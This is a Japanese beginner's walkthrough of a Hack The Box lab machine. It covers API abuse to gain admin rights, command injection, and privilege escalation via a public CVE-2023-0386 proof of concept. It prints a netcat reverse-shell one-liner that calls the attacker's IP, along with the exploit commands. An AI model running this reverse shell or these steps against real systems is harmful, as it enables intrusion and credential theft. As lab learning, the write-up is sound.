この記事は作者の成長日記(自己満)です。
このマシンはAPIを叩いて情報を得るというAPIハッキングの入門マシンのようなものになっております。
偵察
まず最初にnmapにてポートスキャンを行います。
22と80が空いていますね。
webにアクセスしたところ名前解決できないとのエラーが出たので
/etc/hostsにIPとドメイン名を追加して、再度アクセスします。
ディレクトリ探索を行い、目ぼしい情報がないかを見ていきます。

inviteやregisterあたりにアクセスしてみます。
registerにアクセスしたところinviteapi.min.jsという難読化されたJavaScriptファイルが送られていたので、読めるようにしていきます。
eval()でくくられているので、ブラウザの開発者モードにてevalの部分をconsole.logに変えます。
verifyInviteCode()とmakeInviteCode()というものが得られました。
インデントがなく、やや読みにくいので以下のサイトにて成形します。
APIハッキング
POSTメソッドで/api/v1/invite/how/to/generateに投げてみます。

ご丁寧にROT13で暗号化されたと明記されているデータが送られてきました。
こちらのサイトで平文に直します。
In order to generate the invite code, make a POST request to /api/v1/invite/generate
という情報が得られたので、POSTメソッドでリクエストを送ってみます。

エンコードされたinvitation codeが生成されました。
末尾に=がついているのでBase64でデコードしてみます。
invitation codeが得られたので会員登録してみます。
ログインできました!
サイトの中を見てみます。

目ぼしい情報がなさそうなので、api側でパスを探していきます。
何も出てこなかったので、brupsuite側でGETリクエストを送ってみます。

userとadminで分かれていることが確認できました。
いまログインしているユーザでauthを確認してみます。

USER:hogeはis_adminフラグが立っていません。
ここで新たにユーザを作ってこのフラグを立てて送れないかを試してみます。

んーん、ダメそうですね。
/api/v1/admin/settings/updateで直接書き換えられないかを試してみます。
admin権限に書き換えることができました!
とは言ってもwebページ側で何かできることがなさそうなので、まだ使っていない
/api/v1/admin/vpn/generateに目を向けてみます。
APIを叩いてもvpnの設定ファイルしか流れてこないので、Hack the BoxのGuided Modeを参照します。(初心者にはありがたい。)
すると、command injectionというワードがあったので、自身へ向けてpingを投げてみます。
tcpdumpにて通信が確認できました!
初期侵入
リバースシェルを取れないかやってみます。
コマンド
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.198 4444 >/tmp/f
を実行します
とれました!
.envを確認します。
DBのパスワードが入手できました。これを使ってsshで繋げないかを試してみます。
繋げました!(vpnエラーのためサーバのipが変わってますが、お気になさらず)
ホームディレクトリにuser.txtがあります。
続いてrootフラグを取得していきます。
sudo -lを実行したところsudo権限はなさそうです。
そのためlinpeasをkaliから送って、実行していきます。
OverlayFS FUSEに脆弱性があるという趣旨のメールなのでwebで検索してみます。
権限昇格
CVE-2023-0386にてPriviledge Escalationということが記載されているので、こちらを利用してみます。
scpを使ってkali側からターゲットにPoCを送りましょう。
REAMMEにあるとおり、makeを実行してから
./fuse ./ovlcap/lower ./gc
を実行します。
その後、別のターミナルで別途SSH接続し、./expを実行します。
今回学んだこと
- APIの叩き方
- API関連でのJSONデータの送り方
- curlコマンドのオプションの復習
初投稿ということもあり、大変読みにくい文章となっておりますが、攻略と投稿を続けていくうちに改善していけばと思います。













